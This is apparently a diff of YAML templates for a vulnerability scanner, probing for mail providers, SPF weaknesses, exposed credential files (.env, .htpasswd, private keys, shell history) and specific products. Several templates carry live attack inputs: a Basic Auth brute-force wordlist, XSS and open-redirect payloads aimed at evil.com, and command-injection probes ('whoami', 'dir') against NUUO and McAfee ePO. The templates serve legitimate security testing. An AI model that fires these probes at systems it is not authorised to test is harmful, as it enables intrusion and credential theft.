+          - "alt2.aspmx.l.google.com"
+          - "aspmx.l.google.com"
+      - type: word
+        name: "ProtonMail"
+        words:
+          - "mail.protonmail.ch"
+          - "mailsec.protonmail.ch"
+      - type: word
+        name: "Zoho Mail"
+        words:
+          - "mx.zoho.eu"
+          - "mx2.zoho.eu"
+          - "mx3.zoho.eu"
+      - type: word
+        name: "ForcePoint Email Security"
+        words:
+          - "in.mailcontrol.com"
+      - type: word
+        name: "E-Zorg NL"
+        words:
+          - "spamfilter02.ezorg.nl"
+          - "spamfilter01.ezorg.nl"
+          - "spamfilter.ezorg.nl"
+          - "spamfilter03.ezorg.nl"
+      - type: word
+        name: "Kerio Cloud EU"
+        words:
+          - "mx1.eu1.kerio.cloud"
+          - "mx2.eu1.kerio.cloud"
+      - type: word
+        name: "Kerio Cloud US"
+        words:
+          - "mx1.us1.kerio.cloud"
+          - "mx2.us1.kerio.cloud"
+          - "mx3.us1.kerio.cloud"
+      - type: word
+        name: "Proofpoint EU"
+        words:
+          - "mx1-eu1.ppe-hosted.com"
+          - "mx2-eu1.ppe-hosted.com"
+      - type: word
+        name: "Proofpoint US"
+        words:
+          - "mx1-us1.ppe-hosted.com"
+          - "mx2-us1.ppe-hosted.com"
@@ -0,0 +1,20 @@
+id: spoofable-spf-records-ptr
+
+info:
+  name: Find spoofable SPF records containing the PTR mechanism
+  author: binaryfigments
+  severity: info
+  description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+    class: inet
+    recursion: true
+    retries: 3
+    matchers:
+      - type: word
+        words:
+          - "v=spf1"
+          - " ptr "
+        condition: and
@@ -14,7 +14,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 1
        Connection: close
@@ -0,0 +1,23 @@
+id: htpasswd
+
+info:
+  name: Detect exposed .htpasswd files
+  author: geeknik
+  severity: info
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - ":{SHA}"
+          - ":$apr1$"
+          - ":$2y$"
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -2,13 +2,17 @@ id: laravel-env

 info:
  name: Laravel .env file
-  author: pxmme1337 & dwisiswant0
+  author: pxmme1337 & dwisiswant0 & geeknik
  severity: medium

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/.env"
+      - "{{BaseURL}}/.env.dev.local"
+      - "{{BaseURL}}/.env.development.local"
+      - "{{BaseURL}}/.env.prod.local"
+      - "{{BaseURL}}/.env.production.local"
    matchers-condition: and
    matchers:
      - type: regex
@@ -0,0 +1,25 @@
+id: redmine-db-config
+info:
+  name: Detect Redmine Database Configuration
+  author: geeknik
+  description: Redmine is a flexible project management web application written using Ruby on Rails framework - https://redmine.org/projects/redmine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/config/database.yml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - adapter
+          - database
+          - host
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: server-private-keys
+
+info:
+  name: Detect Private SSH and TLS Keys
+  author: geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/host.key"
+      - "{{BaseURL}}/www.key"
+      - "{{BaseURL}}/private-key"
+      - "{{BaseURL}}/privatekey.key"
+      - "{{BaseURL}}/server.key"
+      - "{{BaseURL}}/my.key"
+      - "{{BaseURL}}/key.pem"
+      - "{{BaseURL}}/id_rsa"
+      - "{{BaseURL}}/id_dsa"
+      - "{{BaseURL}}/.ssh/id_rsa"
+      - "{{BaseURL}}/.ssh/id_dsa"
+      - "{{BaseURL}}/{{Hostname}}.key"
+      - "{{BaseURL}}/{{Hostname}}.pem"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "BEGIN OPENSSH PRIVATE KEY"
+          - "BEGIN PRIVATE KEY"
+          - "BEGIN RSA PRIVATE KEY"
+          - "BEGIN DSA PRIVATE KEY"
+          - "BEGIN EC PRIVATE KEY"
+        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -2,9 +2,9 @@ id: shell-history

 info:
  name: Shell History
-  author: pentest_swissky
+  author: pentest_swissky & geeknik
  severity: low
-  description: Discover history for bash and zsh file.
+  description: Discover history for bash, ksh, sh, and zsh

 requests:
  - method: GET
@@ -12,6 +12,8 @@ requests:
    max-redirects: 5
    path:
      - "{{BaseURL}}/.bash_history"
+      - "{{BaseURL}}/.ksh_history"
+      - "{{BaseURL}}/.sh_history"
      - "{{BaseURL}}/.zsh_history"

    matchers-condition: and
@@ -21,4 +23,4 @@ requests:
          - "chmod "
      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,98 @@
+id: basic-auth-bruteforce
+
+info:
+  name: Basic Auth Bruteforce
+  author: "@w4cky_"
+  severity: high
+
+  # Impotent Notes:-
+  # This is specific template to work with basic 401 authentication endpoint.
+  # Do not run this template on non basic authentication related endpoints to avoid false positive results.
+
+requests:
+
+  - payloads:
+      username:
+        - admin
+        - manager
+        - administrator
+        - username
+        - login
+        - anonymous
+        - test
+        - guest
+        - root
+        - demo
+
+      password:
+        - admin
+        - pass1
+        - pass1
+        - root
+        - welcome
+        - p@ssw0rd
+        - user
+        - test
+        - testest
+        - dupa8
+        - admin123
+        - admin1234
+        - admin12345
+        - anonymous
+        - manager
+        - linux
+        - system
+        - oracle
+        - administrator
+        - 11111111
+        - qwerty123
+        - cisco123
+        - admin123456
+        - 1qazXSW@
+        - master
+        - 123qweasd
+        - 1qaz2wsx
+        - 123456789
+        - 1234567890
+        - !qaz@wsx
+        - !q@w
+        - wubao
+        - pa55w0rd
+        - 123abc
+        - 123456
+        - 123456789
+        - qwerty
+        - password
+        - 1111111
+        - 12345678
+        - abc123
+        - 1234567
+        - password1
+        - 12345
+        - 1234567890
+        - 123123
+        - 000000
+        - Iloveyou
+        - 1234
+        - 1q2w3e4r5t
+        - Qwertyuiop
+        - 123
+        - Monkey
+        - Dragon
+        - demo
+
+    attack: clusterbomb
+
+    raw:
+      - |
+        GET /protected HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic {{base64('§username§:§password§')}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+    matchers:
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: iis-shortname
+info:
+  name: iis-shortname
+  author: nodauf
+  severity: info
+  description: If IIS use old .Net Framwork it's possible to enumeration folder with the symbol ~.
+
+  # References:
+  # - https://github.com/lijiejie/IIS_shortname_Scanner
+  # - https://www.exploit-db.com/exploits/19525
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+
+    matchers:
+      - type: dsl
+        name: iis-scan
+        dsl:
+          - "status_code_1!=404 && status_code_2 == 404 || status_code_3 != 404 && status_code_4 == 404"
@@ -0,0 +1,35 @@
+id: wp-plugin-scan
+info:
+  name: Wordpress Plugin Scanner
+  author: pdteam
+  severity: info
+  description: wordlist based wordpress plugin scanner.
+
+requests:
+
+  - payloads:
+      plugin_wordlist: wordlists/wp-plugins.txt
+
+      # Thanks to RandomRobbieBF for the wordlist
+      # https://github.com/RandomRobbieBF/wordpress-plugin-list
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /§plugin_wordlist§ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "== Description =="
@@ -2,7 +2,7 @@ id: basic-xss-prober

 info:
  name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
  severity: low

  # Basic XSS prober
@@ -12,7 +12,14 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -5,8 +5,8 @@ info:
  # Name is the name of the template
  name: Top 15 XSS Check
  # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
  # Severity is the severity for the template.
  severity: medium
  #  Description optionally describes the template.
@@ -15,14 +15,17 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss1%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss2%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss3%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss4%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss5%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss6%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss7%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss8%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss9%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss10%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss11%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss12%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss13%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss14%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss15%27%29%3E"
+    redirects: true
+    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<svg/onload=confirm('testing-xss')>"
+          - "<svg/onload=confirm('testing-xss"
        part: body
+
      - type: word
        words:
          - "text/html"
-        part: header
+        part: header
@@ -0,0 +1,32 @@
+id: HTTP-TRACE
+
+info:
+  name: HTTP TRACE method enabled
+  author: nodauf
+  severity: info
+
+  # References:
+  # - https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
+
+requests:
+  - method: TRACE
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        name: trace-request
+        words:
+          - "TRACE / HTTP"
+        part: body
+
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: regex
+        name: options-request
+        regex:
+          - "(?i)Allow: [A-Z,]*TRACE"
+        part: header
@@ -0,0 +1,21 @@
+id: unencrypted-bigip-ltm-cookie
+
+info:
+  name: F5 BIGIP Unencrypted Cookie
+  author: PR3R00T
+  severity: info
+  reference: https://www.intelisecure.com/how-to-decode-big-ip-f5-persistence-cookie-values
+  mitigation: https://support.f5.com/csp/article/K23254150
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    matchers:
+      - type: regex
+        regex:
+          - '(BIGipServer[a-z\_\.\-\~0-9A-Z]*)=([0-9a-zA-Z\.]*;)'
+          - '=[0-9]*\.[0-9]{3,5}\.[0-9]{4};'
+        part: header
@@ -0,0 +1,23 @@
+id: xml-schema-detect
+info:
+  name: XML Schema Detection
+  author: alph4byt3
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/schema"
+
+    matchers-condition: and
+    redirects: true
+    matchers:
+      - type: word
+        words:
+          - ".xsd"
+          - "Schemas"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,19 @@
+id: identityguard-selfservice-entrust
+
+info:
+  name: IdentityGuard Self-Service by Entrust
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/IdentityGuardSelfService/"
+      - "{{BaseURL}}/IdentityGuardSelfService/images/favicon.ico"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body_1,'IdentityGuard Self-Service') || (\"-1060264737\" == mmh3(base64_py(body_2)))"
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,14 @@
+id: oipm-detect
+info:
+  name: One Identity Password Manager detection
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/PMUser/'
+    matchers:
+      - type: word
+        words:
+          - "One Identity Password Manager"
@@ -16,7 +16,7 @@ requests:
          - "/dana-na/auth/welcome.cgi"
        part: header

-      - type: word
-        words:
-          - "/dana-na/css/ds.css"
-        part: body
+      - type: regex
+        regex:
+          - "(?i)/dana-na/css/ds(_[a-f0-9]{64})?.css"
+        part: body
@@ -0,0 +1,24 @@
+id: apache-tomcat-snoop
+
+info:
+  name: Apache Tomcat example page disclosure - snoop
+  author: pdteam
+  severity: low
+  description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
+
+  # Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Request URI: /examples/jsp/snp/snoop.jsp'
+
+      - type: status
+        status:
+          - 200
@@ -19,12 +19,8 @@ requests:
        GET /testing-put.txt HTTP/1.1
        Content-Type: text/plain

-    matchers-condition: and
    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - testing-payload
+      - type: dsl
+        name: multi-req
+        dsl:
+          - 'contains(body_2, "testing-payload") == true'
@@ -84,6 +84,7 @@ requests:
          - "JMImplementation"
          - "EnvironmentManager"
          - "org.springframework.boot.loader"
+          - "health"
        condition: or
      - type: status
        status:
@@ -0,0 +1,22 @@
+id: basic-auth-detection
+
+info:
+  name: Basic auth detection
+  author: "@w4cky_"
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 401
+
+      - type: word
+        words:
+          - "Www-Authenticate:"
+        part: header
@@ -0,0 +1,35 @@
+id: cacti-detect
+info:
+  name: Detect Cacti
+  author: geeknik
+  description: Cacti is a complete network graphing solution -- https://www.cacti.net/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cacti/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "Login to Cacti"
+          - "The Cacti Group"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - Cacti+
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Set-Cookie
@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or
@@ -0,0 +1,25 @@
+id: mrtg-detect
+info:
+  name: Detect MRTG
+  author: geeknik
+  description: The Multi Router Traffic Grapher -- https://oss.oetiker.ch/mrtg/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/mrtg/"
+      - "{{BaseURL}}/MRTG/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "MRTG Index Page"
+          - "Multi Router Traffic Grapher"
+        condition: and
@@ -0,0 +1,35 @@
+id: prtg-detect
+info:
+  name: Detect PRTG
+  author: geeknik
+  description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.htm"
+      - "{{BaseURL}}/prtg/index.htm"
+      - "{{BaseURL}}/PRTG/index.htm"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "PRTG Network Monitor"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - PRTG
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Server
@@ -0,0 +1,25 @@
+id: redmine-cli-detect
+info:
+  name: Detect Redmine CLI Configuration File
+  author: geeknik
+  description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.redmine-cli"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - default
+          - my_id
+          - root_url
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2726,3 +2726,18 @@ requests:
          - "SEEEMS.FRAMEWORK"
        condition: or
        part: body
+
+      - type: regex
+        name: awselb
+        regex:
+          - 'awselb'
+        part: header
+
+      - type: word
+        name: pfsense
+        words:
+          - "Login to pfSense"
+          - "<title>pfSense - Login</title>"
+          - "maintained by Netgate"
+        part: body
+        condition: and
@@ -0,0 +1,24 @@
+id: terraform-detect
+info:
+  name: Detect Terraform Provider
+  author: geeknik
+  description: Write Infrastructure as Code - https://www.terraform.io/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/provider.tf"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - access_key
+          - terraform
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -20,3 +20,7 @@ requests:
        words:
          - "<script>alert(document.cookie)</script>"
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,34 @@
+id: mcafee-epo-rce
+
+info:
+  name: McAfee ePolicy Orchestrator RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    A ZipSlip vulnerability in McAfee ePolicy Orchestrator (ePO)
+    is a type of Path Traversal occurring when archives are unpacked
+    if the names of the packed files are not properly sanitized.
+    An attacker can create archives with files containing “../” in their names,
+    making it possible to upload arbitrary files
+    to arbitrary directories or overwrite existing ones during archive extraction.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: regex
+        regex:
+          - "Volume (in drive [A-Z]|Serial Number) is"
+        part: body
@@ -0,0 +1,27 @@
+id: nuuo-nvrmini2-upgradehandlephp-rce
+
+info:
+  name: NUUO NVRmini2 3.0.8 - Remote Code Execution
+  author: berkdusunur
+  severity: critical
+
+  # Reference:-
+  # https://www.exploit-db.com/exploits/45070
+  # https://github.com/berkdsnr/NUUO-NVRMINI-RCE
+  # https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "/upload_tmp_dir/"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -21,4 +21,8 @@ requests:
      - type: word
        words:
          - <svg/onload=alert(document.domain)>
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -20,4 +20,8 @@ requests:
      - type: word
        words:
          - "<script>alert(31337)</script>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -18,7 +18,7 @@ requests:
    attack: sniper
    raw:
      - |
-        GET /eam/vib?id=path\vcdb.properties HTTP/1.1
+        GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Accept: */*